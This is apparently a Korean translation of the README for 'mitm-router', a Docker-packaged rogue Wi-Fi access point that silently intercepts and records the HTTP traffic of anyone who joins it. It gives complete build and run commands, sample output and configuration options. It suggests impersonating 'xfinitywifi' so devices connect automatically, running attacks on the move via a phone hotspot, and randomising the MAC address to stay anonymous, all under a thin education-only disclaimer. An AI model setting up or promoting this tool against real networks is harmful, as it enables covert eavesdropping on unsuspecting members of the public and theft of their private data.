
☠ 도커 컨테이너 내부의 중간자 공격 무선 액세스 포인트 🐳
모든 리눅스 컴퓨터를 공용 Wi-Fi 네트워크로 전환하여 모든 HTTP 트래픽을 조용히 중간자 공격합니다. Docker 컨테이너 내부에서 hostapd, dnsmasq, mitmproxy를 사용하여 "Public"이라는 개방형 허니팟 무선 네트워크를 생성합니다. 재미를 더하려면 네트워크 이름을 "xfinitywifi"로 변경하면 해당 네트워크에 한 번이라도 연결한 사람들이 자동으로 연결됩니다... 그런 네트워크는 도처에 있습니다.
면책 조항: 이 소프트웨어는 교육 목적으로만 제공됩니다. 불법 활동에 사용해서는 안 됩니다. 저자는 그 사용에 대해 책임을 지지 않습니다. 나쁜 사람이 되지 마세요.
# clone the repo
git clone https://github.com/brannondorsey/mitm-router
cd mitm-router
# build the image this step can be omitted if you prefer to pull
# the image from the docker hub repository
docker build . -t brannondorsey/mitm-router
다음을 실행하여 AP_IFACE와 INTERNET_IFACE를 각각 무선 장치와 인터넷에 연결된 이더넷/무선 장치로 바꾸세요. ifconfig를 실행하여 네트워크 장치 이름을 확인할 수 있습니다.
# run the container
docker run -it --net host --privileged \
-e AP_IFACE="wlan0" \
-e INTERNET_IFACE="eth0" \
-e SSID="Public" \
-v "$(pwd)/data:/root/data" \
brannondorsey/mitm-router
모든 것이 잘 진행되었다면 다음과 같은 내용이 표시될 것입니다:
Current MAC: a5:ae:f9:a4:b7:e3 (TP-LINK TECHNOLOGIES CO.,LTD.)
Permanent MAC: a5:ae:f9:a4:b7:e3 (TP-LINK TECHNOLOGIES CO.,LTD.)
New MAC: 00:d2:6b:d5:fe:bd (PHOTRON USA)
[ ok ] Starting system message bus: dbus.
[ ok ] Starting DNS forwarder and DHCP server: dnsmasq.
[ ok ] Starting advanced IEEE 802.11 management: hostapd.
Proxy server listening at http://0.0.0.0:1337
mitm-router는 10.0.0.1:80의 라우터로 전송되는 모든 HTTP 트래픽을 투명하게 캡처합니다. https://로 시작하는 URL 간의 트래픽은 캡처되지 않습니다.
mitm-router/data/ 폴더는 Docker 컨테이너와 공유되므로 호스트 머신에서 해당 폴더에 배치된 캡처 파일을 볼 수 있습니다. 기본적으로 mitm-router/data/http-traffic.cap에서 mitmdump 캡처 파일을 찾을 수 있습니다.
또한 INTERNET_IFACE를 휴대폰의 핫스팟에 연결하여 이동 중에도 중간자 공격을 할 수 있습니다 ;)
문제가 발생한 것 같으면 문제 해결 페이지를 참조하세요.
Docker 컨테이너를 내려 iptable 라우팅 규칙을 재설정합니다.
# get the name of your container
docker ps
# attach to the container
docker stop <CONTAINER_NAME>
Proxy server listening at http://0.0.0.0:1337
[ ok ] Stopping DNS forwarder and DHCP server: dnsmasq.
[ ok ] Stopping advanced IEEE 802.11 management: hostapd.
[ ok ] Stopping system message bus: dbus.
received shutdown signal, exiting.
기본적으로 mitm-router는 AP_IFACE의 MAC 주소를 무작위화하여 네트워크 장치를 익명화합니다. 이 기능은 MAC="unchanged" 환경 변수로 비활성화할 수 있습니다. 또한 MAC="XX:XX:XX:XX:XX:XX"로 AP_IFACE MAC 주소를 명시적으로 설정할 수 있습니다.
지원되는 환경 변수와 기본값은 아래와 같습니다:
# wireless device name that will be used for the Access Point
AP_IFACE="wlan0"
# device name that is used for the router's internal internet connection
# packets from AP_IFACE will be forwarded to this device
INTERNET_IFACE="eth0"
# wireless network name
SSID="Public"
# optional WPA2 password; if left empty network will be public
PASSWORD=""
# optional randomization of AP_IFACE MAC address
# can be set to a specific value like "XX:XX:XX:XX:XX:XX"
# or "unchanged" to leave the device MAC alone
MAC="random"
# tcpdump output file location inside the container
CAPTURE_FILE="/root/data/http-traffic.cap"
# optional mitmproxy filter
# see http://docs.mitmproxy.org/en/stable/features/filters.html
FILTER=""
자세한 내용은 문제 해결 페이지를 참조하세요.
이 액세스 포인트는 격리를 위해 Docker 내부에서 실행되므로, 액세스 포인트에서 악용 가능한 취약점이 있다라도 공격자가 컴퓨터나 홈 네트워크에 접근할 수 없습니다. 하지만 몇 가지 주의할 점이 있습니다:
--net host는 호스트 머신의 모든 네트워크 인터페이스와 iptables 항목을 Docker 컨테이너와 공유합니다. 취약한 Docker 컨테이너가 이러한 장치에 대한 루트 액세스 권한을 가질 수 있다고 가정하세요.--privileged 모드로 실행하면 Docker 컨테이너에 확장된 권한이 부여됩니다.ufw)을 사용하여 모든 포트에서 들어오는 트래픽을 차단하여 "Public" 네트워크에 있는 컴퓨터가 노출된 서비스에 접근하지 못하도록 하세요.추가 보안을 위해 저는 이 Docker 컨테이너를 Raspberry Pi와 같은 전용 컴퓨터에서 실행하는 것을 선호합니다.
이 코드는 simonschuang의 rpi-hostapd의 하드 포크로 시작되었습니다. 코드는 중간자 공격 목적으로 크게 수정되었습니다.